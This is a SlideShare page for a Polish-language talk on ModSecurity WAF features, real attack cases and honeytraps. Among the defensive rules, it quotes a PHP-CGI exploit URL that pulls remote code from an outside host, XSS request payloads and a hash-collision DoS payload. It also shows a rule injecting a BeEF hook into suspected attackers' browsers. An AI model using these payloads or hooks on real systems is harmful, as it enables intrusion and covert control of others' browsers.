SlideShare uma empresa Scribd logo
1 de 36
Baixar para ler offline
Czy Twój WAF to potrafi?
                                    modsecurity.

                                                                 Leszek Miś
                                                                 IT Security Architect
                                                                 RHCA, RHCSS
                                                                 lm@linuxpolska.pl




                                                                                                                        1
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
/whoami

• IT Security Architect @ Linux Polska Sp. z o.o.
• Lider projektu WALLF Web Gateway (http://wallf.pl)
• RHCA/RHCSS/RHCX
• Skupiam się głównie na:
   – Linux Security
   – Web Security
   – Pentesty
   – SSO
   – Linux forensics
   – Klastry, wirtualizacja, cloud, storage

                                                                                                                             2
     Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Agenda

1. Kilka słów wstępu.
2. Podstawowe możliwości.
3. Realne przypadki
4. PoC:
  - Honeypot + modsecurity
  - BeeF+modsecurity = give me your real IP!
5. Podsumowanie.



                                                                                                                              3
      Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
modsecurity


• Najczęściej wykorzystywany WAF na świecie
• Open source
• Tysiące dl/miesiąc
• Chronionych ponad milion serwerów
• Tryby pracy:
  – Wbudowany
  – Reverse Proxy


                                                                                                                            4
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
modsecurity

• Od zawsze dostępny dla Apache
• Od niedawna także dla:
  – Nginx (jest też naxsi oraz ngx_LUA based)
  – Microsoft IIS
• Blacklist: OWASP Modsecurity Core Rule Set
• Whitelist – learning mode:
  – Modprofiler
  – WebApplicationProfiler
  – REMO
                                                                                                                            5
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
modsecurity




                                                                                                                           6
   Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
modsecurity

• Wirtualne patchowanie i integracja z DAST:
  – ZAP, Arachni, RPC LUA API
• Bramka typu Intrusion Prevention dla protokołu HTTP
  (Reverse Proxy)
• Możliwość szybkiej modyfikacji reguł
• Ochrona przed błędami typu 0-day dla aplikacji
  webowych
• Geolokalizacja
• Ochrona antywirusowa dla uploadów
• Nadawanie flag ciasteczkom
                                                                                                                            7
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Modsecurity CRS

• HTTP Protection - detecting violations of the HTTP protocol
  and a locally defined usage policy.
• Real-time Blacklist Lookups - utilizes 3rd Party IP Reputation
• Web-based Malware Detection - identifies malicious web
  content by check against the Google Safe Browsing API.
• HTTP Denial of Service Protections - defense against HTTP
  Flooding and Slow HTTP DoS Attacks.
• Common Web Attacks Protection - detecting common web
  application security attack.
• Automation Detection - Detecting bots, crawlers, scanners and
  other surface malicious activity.


                                                                                                                              8
      Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Modsecurity CRS

• Integration with AV Scanning for File Uploads - detects
  malicious files uploaded through the web application.
• Tracking Sensitive Data - Tracks Credit Card usage and blocks
  leakages.
• Trojan Protection - Detecting access to Trojans horses.
• Identification of Application Defects - alerts on application
  misconfigurations.
• Error Detection and Hiding - Disguising error messages sent by
  the server.




                                                                                                                              9
      Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Modsecurity CRS

 modsecurity_35_bad_robots.data          modsecurity_crs_23_request_limits.conf
 modsecurity_crs_47_common_exceptions.conf modsecurity_35_scanners.data
 modsecurity_crs_30_http_policy.conf
 modsecurity_crs_48_local_exceptions.conf.example
 modsecurity_40_generic_attacks.data       modsecurity_crs_35_bad_robots.conf
 modsecurity_crs_49_inbound_blocking.conf
 modsecurity_41_sql_injection_attacks.data
 modsecurity_crs_40_generic_attacks.conf     modsecurity_crs_50_outbound.conf
 modsecurity_50_outbound.data
 modsecurity_crs_41_sql_injection_attacks.conf
 modsecurity_crs_59_outbound_blocking.conf
 modsecurity_50_outbound_malware.data
 modsecurity_crs_41_xss_attacks.conf
 modsecurity_crs_60_correlation.conf modsecurity_crs_20_protocol_violations.conf
 modsecurity_crs_42_tight_security.conf
 modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_45_trojans.conf



                                                                                                                             10
     Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Realne przypadki




                                                                                                                        11
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Realne przypadki

• Ruby on Rails XML Exploits
    – Podatność w kodzie parsującym parametry XML –
      YAML i Symbol
    – Wykonanie dowolnego polecenia systemowego
• Modsecurity potrafi parsować i walidować XML:
•   SecRule REQUEST_HEADERS:Content-Type "text/xml" 
    "id:'900017', phase:1, t:none,t:lowercase, 
    nolog, pass, chain"
    SecRule REQBODY_PROCESSOR "!@streq XML" 
    "ctl:requestBodyProcessor=XML"

                                                                                                                               12
       Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Realne przypadki

• Positive security model dla formularza logowania +
  ochrona przed brute force
•




                                                                                                                            13
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Realne przypadki

• Ochrona przed atakami typu Slow HTTP DOS
  – Slowloris:
     •   Atakujący wysyła niekompletny zbiór nagłówków
     •   „Zaśmiecenie” kolejki read request i write request
     •   Serwer oczekuje dalszych requestów, aż do Timeoutu
     •   Wysyłanie kolejnych żądań powoduje wysycenie
         zasobów
  – R-U-dead-yet czyli RUDY attack:
     • Faza request headers wykonywana poprawnie
     • Wolne wysyłanie request body, np 1bajt/100s
  – Wiele innych jak HOIC/LOIC
                                                                                                                            14
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Realne przypadki

• Kontrolowanie ilości połączeń w stanie Busy:
    SecReadStateLimit 5
    SecWriteStateLimit 5

•   [Mon Nov 22 17:44:46 2010] [warn] ModSecurity: Access denied with code 400.
•   Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -
•   Possible DoS Consumption Attack [Rejected]
•   [Mon Nov 22 17:44:47 2010] [warn] ModSecurity: Access denied with code 400.
•   Too many connections [6] of 5 allowed in READ state from 8X.XX.XX.XX -
•   Possible DoS Consumption Attack [Rejected]

                                                                                                                                15
        Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Realne przypadki

• HULK DOS Tool:
    – Pythony skrypt
    – Randomizowane wartości nagłówków: User-Agent,
      Referer, Keep-alive
    – Zawsze ta sama kolejność
    –
•



                                                                                                                                16
        Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Realne przypadki

• CVE-2012-1823:
    – PHP jako czyste CGI
    – mod_cgid
• Możliwość podglądu kodu źródłowego:
    – 'GET /index.php?-s'
    – /index.php?-dallow_url_include%3don+-
      dauto_prepend_file
      %3dhttp://www.bu67778.com/a.txt'
• SecRule QUERY_STRING "^-[sdcr]"
  "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block
  ,log,msg:'Potential PHP-CGI Exploit Attempt'"
•     Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
                                                                                                                              17
Realne przypadki

• OsCommerce 3.0.2 – XSS
• Parametr „name” :
    – POST /oscommerce/index.php?
      RPC&Setup&Install&DBCheck HTTP/1.1
    – server=&username=&password=&name=
      %3Cscript%3Ealert(123)%3C%2Fscript
      %3E&port=&class=SQL
•



                                                                                                                             18
     Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Realne przypadki

• Movable Types: XSS
• Parametr dbuser:
  – POST /cgi-bin/mt/mt-wizard.cgi HTTP/1.1
  – __mode=test&step=configure&set_static_uri_to=&d
    efault_language=en-
    us&config=&dbtype=mysql&dbserver=localhost&db
    name=&dbuser=%3Cscript%3Ealert
    %28%27123%27%29%3C%2Fscript
    %3E&dbpass=test&dbpath=&dbport=&dbsocket=&t
    est=1

                                                                                                                            19
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Realne przypadki

• Movable types:




                                                                                                                            20
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Realne przypadki

• ASP.NET HashTable DoS:
• Paylodem była bardzo duża ilość losowych
  parametrów z pustą zawartością:
•   EEFMULEXC=&M6FKM13WB=&MGN8123XA2K=&ZMI35GXHMN=&LXQQOM138
    LL=&XXST36DRX=&JRYRV54TFZ=&LGG3X9MFN7=&MH1NI402I22=&MHFIKIM0
    TEH=&BWPRVCQ4X3=&RM6K7V75WZ=&SMIAE6PAL4=&MOCGW14ZU7=&I0JK
    KKOG7EN=&Q4B9V7L3VZ=&23UAYU5B31=&9TRJE0XRWQ=&3Q3LKPC2K0=&D
    3ACY8973E=&VGJPMCQHP=&AV6THWSCA7=

• SecRequestBodyLimit 131072 – domyślna
  wartość
• This directive is useful to reduce susceptibility to DoS
  attacks when someone is sending request bodies of very
  large sizes.
                                                                                                                               21
       Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Honeytrapy




                                                                                                                        22
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Honeytrapy
• Wykorzystanie istniejących serwerów:
  – Listen 8080
  – Listen 8888
  – Listen 8000
• Wykrywanie i blokowanie automatów
  skanujących pod kątem webappek na
  niestandardowych portach
• Tagowanie klientów
• Rozpoznawanie pod kątem prawdziwej
  aplikacji
                                                                                                                            23
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Honeytrapy

• SecRule SERVER_PORT "^(8000|8080|8888)$"
  "id:'999004',phase:2,t:none,log,block,msg:'HoneyTrap
  Alert: Traffic Received on Fake Port.',
  setvar:ip.malicious_client=1"
• SecRule &IP:MALICIOUS_CLIENT "@eq 1"
  "id:'999005',phase:2,t:none,log,block,msg:'HoneyTrap
  Alert: Known Malicious Client.'"
• Integracja z WASC Web Honeypots




                                                                                                                            24
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Mięsko ;)




                                                                                                                        25
Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
BEEF
• The Browser Exploitation Framework –
  zaawansowane narzędzie do pentestów
• Browser as Pentester's gateway || C&C
• Wymagane:
  – Zmuszenie użytkownika do wejścia na stronę
    (FB,TW, krótkie linki)
  – Phishing
  – XSS – dla tych którzy uważają, że XSS nic nie
    znaczy



                                                                                                                             26
     Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
BEEF
• Pozwala na przejęcie kontroli nad przeglądarką
  użytkownika poprzez wstrzykiwanie hooków:
  – Bind shell
  – Javascript command
  – Odwiedzane URLe
  – Skanowanie portów/dns enum/network discovery
  – Man In The Browser
  – Tunelowanie
  – Keylogger
• Integracja z metasploit, np:
  – XSS->Hook->przejęcie kontroli nad przeglądarką
  – Wykorzystanie podatności, np. w Adobe
  – Dostęp do shella z poziomu metasploita
                                                                                                                            27
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
• W jaki sposób wyśledzić prawdziwy adres
  źródłowy atakującego?
  – Proxy
  – TOR
• Analiza powłamaniowa




                                                                                                                            28
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Co mamy?

• Modsecurity jako WAF:
  – Wykrywanie ataków
  – Aktywacja Beefa
• BeEF jako browser exploitation framework:
  – Hookowanie atakujących
  – Enumeracja lokalizacji atakującego
• AuditConsole:
  – Centralna konsola do analizy logów



                                                                                                                            29
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
modsecurity+BEEF

• Idea przedstawiona na Appsec 2012 USA
  przez Rayna Barnetta
• Ograniczenie do połączeń do tych „z browsera”
• Monitorowanie atakujących




                                                                                                                            30
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
modsecurity+BEEF

• Filtrowanie wyjścia:
  – SecResponseBodyAccess
• Modyfikacja HTTP Response data
  – SecContentInjection
  – SecStreamOutBodyInspection
  – Zmienna STREAM_OUTPUT_BODY
  – Operator @rsub
• SecRule STREAM_OUTPUT_BODY " <at> rsub
  s/FUCK/****/" "phase:4,t:none,log,auditlog,pass"

                                                                                                                             31
     Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
modsecurity+BEEF

• W jaki sposób zidentyfikować atakującego?
• Założyć pułapki:
  – Fake cookies
  – Robots.txt
  – Ukryte pola formularzy:
     • SecRule STREAM_OUTPUT_BODY "@rsub
       s/</form>/<input type="hidden" name="admin"
       value="false"></form>/id" id:"999999",
       phase:4,t:none,nolog,pass"



                                                                                                                            32
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
modsecurity+BEEF

• SecRule ARGS:admin "!@streq false"
  "id:'9999923',phase:2,t:none,log,block,msg:'Honey
  trap alert: hidden form data
  manipulated',setvar:tx.malicious_client=1"
• SecRule TX:MALICIOUS_CLIENT "@eq 1"
  "chain,id:'999232', phase:4, t:none, pass,
  log,msg:'hooking to beef'"
• SecRule STREAM_OUTPUT_BODY "@rsub"
  s/</html>/<script
  src=http://10.0.0.1:5000/functions.js"></script></ht
  ml>
                                                                                                                            33
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
modsecurity+BEEF

• Geolokalizacja:
  – Lokalnie dostępne access pointy
• Uzyskanie dostępu do CMD celem wysłania
  ICMP do naszego hosta:
  – Analiza ruchu i wykrycie faktycznego adresu IP




                                                                                                                            34
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Podsumowanie

• W modsecurity drzemią ogromne możliwości i
  potencjał
• Reguły oparte na blacklistach prędzej czy
  później mogą zostać ominięte
• Whitelisting trudny we wdrożeniu, utrzymaniu i
  czasochłonny – zmieniające się aplikacje
• Audytowanie logów – konieczność
•


                                                                                                                            35
    Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
Podsumowanie




                              Dziękuję za uwagę.
                                   lm@linuxpolska.pl




                                                                                                                          36
  Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl

Mais conteúdo relacionado

Destaque (6)

Presentation from CyberGov.pl 2015
Presentation from CyberGov.pl 2015 Presentation from CyberGov.pl 2015
Presentation from CyberGov.pl 2015
 
Zaufanie W Systemach Informatycznych
Zaufanie W Systemach InformatycznychZaufanie W Systemach Informatycznych
Zaufanie W Systemach Informatycznych
 
Filtrowanie sieci - Panoptykon
Filtrowanie sieci - PanoptykonFiltrowanie sieci - Panoptykon
Filtrowanie sieci - Panoptykon
 
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)Dlaczego przejmować się bezpieczeństwem aplikacji (pol)
Dlaczego przejmować się bezpieczeństwem aplikacji (pol)
 
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
Łukasz Lenart "How secure your web framework is? Based on Apache Struts 2"
 
Vendor Audits
Vendor AuditsVendor Audits
Vendor Audits
 

Semelhante a Leszek Miś "Czy twoj WAF to potrafi"

Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
PROIDEA
 
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Leszek Mi?
 
Slackware Linux. Ćwiczenia
Slackware Linux. ĆwiczeniaSlackware Linux. Ćwiczenia
Slackware Linux. Ćwiczenia
Wydawnictwo Helion
 
PLNOG 4: Paweł Andrejas - Onet Moduły
PLNOG 4: Paweł Andrejas - Onet ModułyPLNOG 4: Paweł Andrejas - Onet Moduły
PLNOG 4: Paweł Andrejas - Onet Moduły
PROIDEA
 
Pocałunek śmierci
Pocałunek śmierciPocałunek śmierci
Pocałunek śmierci
Divante
 
PLNOG 13: Andrzej Karpiński: Mechanizmy ochrony anty-DDoS stosowanych w Tele...
PLNOG 13: Andrzej Karpiński: Mechanizmy ochrony anty-DDoS stosowanych w Tele...PLNOG 13: Andrzej Karpiński: Mechanizmy ochrony anty-DDoS stosowanych w Tele...
PLNOG 13: Andrzej Karpiński: Mechanizmy ochrony anty-DDoS stosowanych w Tele...
PROIDEA
 
HTTP od zera do bohatera
HTTP od zera do bohateraHTTP od zera do bohatera
HTTP od zera do bohatera
HordeTechnology
 

Semelhante a Leszek Miś "Czy twoj WAF to potrafi" (20)

Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...Atmosphere 2014: Scalable and under control - open cloud architecture conside...
Atmosphere 2014: Scalable and under control - open cloud architecture conside...
 
Serwery i hosting w służbie SEO
Serwery i hosting w służbie SEOSerwery i hosting w służbie SEO
Serwery i hosting w służbie SEO
 
OWASP Appsensor in action
OWASP Appsensor in actionOWASP Appsensor in action
OWASP Appsensor in action
 
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data Center
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data CenterPLNOG 18 - Marcin Motylski - Budowa wirtualnego Data Center
PLNOG 18 - Marcin Motylski - Budowa wirtualnego Data Center
 
Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?Czy naprawdę wiesz co robi twoja przeglądarka?
Czy naprawdę wiesz co robi twoja przeglądarka?
 
Ubuntu server
Ubuntu serverUbuntu server
Ubuntu server
 
Docker reverse proxy z użyciem Traefik
Docker reverse proxy z użyciem TraefikDocker reverse proxy z użyciem Traefik
Docker reverse proxy z użyciem Traefik
 
PLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PLNOG 13: Adam Heczko: Openstack, Ceph, SDNPLNOG 13: Adam Heczko: Openstack, Ceph, SDN
PLNOG 13: Adam Heczko: Openstack, Ceph, SDN
 
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-PolskaModsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
Modsecurity-czy-Twoj-WAF-to-potrafi-Leszek-Mis-Linux-Polska
 
06 Bluetooth, zaprojektowany aby "zjednoczyć"
06 Bluetooth, zaprojektowany aby "zjednoczyć"06 Bluetooth, zaprojektowany aby "zjednoczyć"
06 Bluetooth, zaprojektowany aby "zjednoczyć"
 
Ochrona przed atakami DDoS na platformie x86. Czy można mieć jednocześnie wyd...
Ochrona przed atakami DDoS na platformie x86. Czy można mieć jednocześnie wyd...Ochrona przed atakami DDoS na platformie x86. Czy można mieć jednocześnie wyd...
Ochrona przed atakami DDoS na platformie x86. Czy można mieć jednocześnie wyd...
 
Slackware Linux. Ćwiczenia
Slackware Linux. ĆwiczeniaSlackware Linux. Ćwiczenia
Slackware Linux. Ćwiczenia
 
PLNOG 4: Paweł Andrejas - Onet Moduły
PLNOG 4: Paweł Andrejas - Onet ModułyPLNOG 4: Paweł Andrejas - Onet Moduły
PLNOG 4: Paweł Andrejas - Onet Moduły
 
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmie
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmieSześć sposobów na przejęcie sieci przemysłowej w twojej firmie
Sześć sposobów na przejęcie sieci przemysłowej w twojej firmie
 
PLNOG 7: Michał Jura - Linux Contextualization
PLNOG 7: Michał Jura - Linux ContextualizationPLNOG 7: Michał Jura - Linux Contextualization
PLNOG 7: Michał Jura - Linux Contextualization
 
Pocałunek śmierci
Pocałunek śmierciPocałunek śmierci
Pocałunek śmierci
 
Ruby, Ruby on Rails 2010
Ruby, Ruby on Rails 2010Ruby, Ruby on Rails 2010
Ruby, Ruby on Rails 2010
 
HTML5: Atak i obrona
HTML5: Atak i obronaHTML5: Atak i obrona
HTML5: Atak i obrona
 
PLNOG 13: Andrzej Karpiński: Mechanizmy ochrony anty-DDoS stosowanych w Tele...
PLNOG 13: Andrzej Karpiński: Mechanizmy ochrony anty-DDoS stosowanych w Tele...PLNOG 13: Andrzej Karpiński: Mechanizmy ochrony anty-DDoS stosowanych w Tele...
PLNOG 13: Andrzej Karpiński: Mechanizmy ochrony anty-DDoS stosowanych w Tele...
 
HTTP od zera do bohatera
HTTP od zera do bohateraHTTP od zera do bohatera
HTTP od zera do bohatera
 

Mais de Pawel Krawczyk

Mais de Pawel Krawczyk (13)

Top DevOps Security Failures
Top DevOps Security FailuresTop DevOps Security Failures
Top DevOps Security Failures
 
Authenticity and usability
Authenticity and usabilityAuthenticity and usability
Authenticity and usability
 
Reading Geek Night 2019
Reading Geek Night 2019Reading Geek Night 2019
Reading Geek Night 2019
 
Effective DevSecOps
Effective DevSecOpsEffective DevSecOps
Effective DevSecOps
 
Unicode the hero or villain
Unicode  the hero or villain Unicode  the hero or villain
Unicode the hero or villain
 
Get rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protectionGet rid of TLS certificates - using IPSec for large scale cloud protection
Get rid of TLS certificates - using IPSec for large scale cloud protection
 
Why care about application security
Why care about application securityWhy care about application security
Why care about application security
 
Source Code Scanners
Source Code ScannersSource Code Scanners
Source Code Scanners
 
Krawczyk Ekonomia Bezpieczenstwa 2
Krawczyk   Ekonomia Bezpieczenstwa 2Krawczyk   Ekonomia Bezpieczenstwa 2
Krawczyk Ekonomia Bezpieczenstwa 2
 
Audyt Wewnetrzny W Zakresie Bezpieczenstwa
Audyt Wewnetrzny W Zakresie BezpieczenstwaAudyt Wewnetrzny W Zakresie Bezpieczenstwa
Audyt Wewnetrzny W Zakresie Bezpieczenstwa
 
Kryptografia i mechanizmy bezpieczenstwa
Kryptografia i mechanizmy bezpieczenstwaKryptografia i mechanizmy bezpieczenstwa
Kryptografia i mechanizmy bezpieczenstwa
 
Real Life Information Security
Real Life Information SecurityReal Life Information Security
Real Life Information Security
 
Europejskie Ramy Interoperacyjności 2.0
Europejskie Ramy Interoperacyjności 2.0Europejskie Ramy Interoperacyjności 2.0
Europejskie Ramy Interoperacyjności 2.0
 

Leszek Miś "Czy twoj WAF to potrafi"

  • 1. Czy Twój WAF to potrafi? modsecurity. Leszek Miś IT Security Architect RHCA, RHCSS lm@linuxpolska.pl 1 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 2. /whoami • IT Security Architect @ Linux Polska Sp. z o.o. • Lider projektu WALLF Web Gateway (http://wallf.pl) • RHCA/RHCSS/RHCX • Skupiam się głównie na: – Linux Security – Web Security – Pentesty – SSO – Linux forensics – Klastry, wirtualizacja, cloud, storage 2 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 3. Agenda 1. Kilka słów wstępu. 2. Podstawowe możliwości. 3. Realne przypadki 4. PoC: - Honeypot + modsecurity - BeeF+modsecurity = give me your real IP! 5. Podsumowanie. 3 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 4. modsecurity • Najczęściej wykorzystywany WAF na świecie • Open source • Tysiące dl/miesiąc • Chronionych ponad milion serwerów • Tryby pracy: – Wbudowany – Reverse Proxy 4 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 5. modsecurity • Od zawsze dostępny dla Apache • Od niedawna także dla: – Nginx (jest też naxsi oraz ngx_LUA based) – Microsoft IIS • Blacklist: OWASP Modsecurity Core Rule Set • Whitelist – learning mode: – Modprofiler – WebApplicationProfiler – REMO 5 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 6. modsecurity 6 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 7. modsecurity • Wirtualne patchowanie i integracja z DAST: – ZAP, Arachni, RPC LUA API • Bramka typu Intrusion Prevention dla protokołu HTTP (Reverse Proxy) • Możliwość szybkiej modyfikacji reguł • Ochrona przed błędami typu 0-day dla aplikacji webowych • Geolokalizacja • Ochrona antywirusowa dla uploadów • Nadawanie flag ciasteczkom 7 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 8. Modsecurity CRS • HTTP Protection - detecting violations of the HTTP protocol and a locally defined usage policy. • Real-time Blacklist Lookups - utilizes 3rd Party IP Reputation • Web-based Malware Detection - identifies malicious web content by check against the Google Safe Browsing API. • HTTP Denial of Service Protections - defense against HTTP Flooding and Slow HTTP DoS Attacks. • Common Web Attacks Protection - detecting common web application security attack. • Automation Detection - Detecting bots, crawlers, scanners and other surface malicious activity. 8 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 9. Modsecurity CRS • Integration with AV Scanning for File Uploads - detects malicious files uploaded through the web application. • Tracking Sensitive Data - Tracks Credit Card usage and blocks leakages. • Trojan Protection - Detecting access to Trojans horses. • Identification of Application Defects - alerts on application misconfigurations. • Error Detection and Hiding - Disguising error messages sent by the server. 9 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 10. Modsecurity CRS modsecurity_35_bad_robots.data modsecurity_crs_23_request_limits.conf modsecurity_crs_47_common_exceptions.conf modsecurity_35_scanners.data modsecurity_crs_30_http_policy.conf modsecurity_crs_48_local_exceptions.conf.example modsecurity_40_generic_attacks.data modsecurity_crs_35_bad_robots.conf modsecurity_crs_49_inbound_blocking.conf modsecurity_41_sql_injection_attacks.data modsecurity_crs_40_generic_attacks.conf modsecurity_crs_50_outbound.conf modsecurity_50_outbound.data modsecurity_crs_41_sql_injection_attacks.conf modsecurity_crs_59_outbound_blocking.conf modsecurity_50_outbound_malware.data modsecurity_crs_41_xss_attacks.conf modsecurity_crs_60_correlation.conf modsecurity_crs_20_protocol_violations.conf modsecurity_crs_42_tight_security.conf modsecurity_crs_21_protocol_anomalies.conf modsecurity_crs_45_trojans.conf 10 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
  • 11. Realne przypadki 11 Copyright 2011 Linux Polska Sp. z o.o. Al. Jerozolimskie 123A 02-017 Warszawa www.linuxpolska.pl biuro@linuxpolska.pl
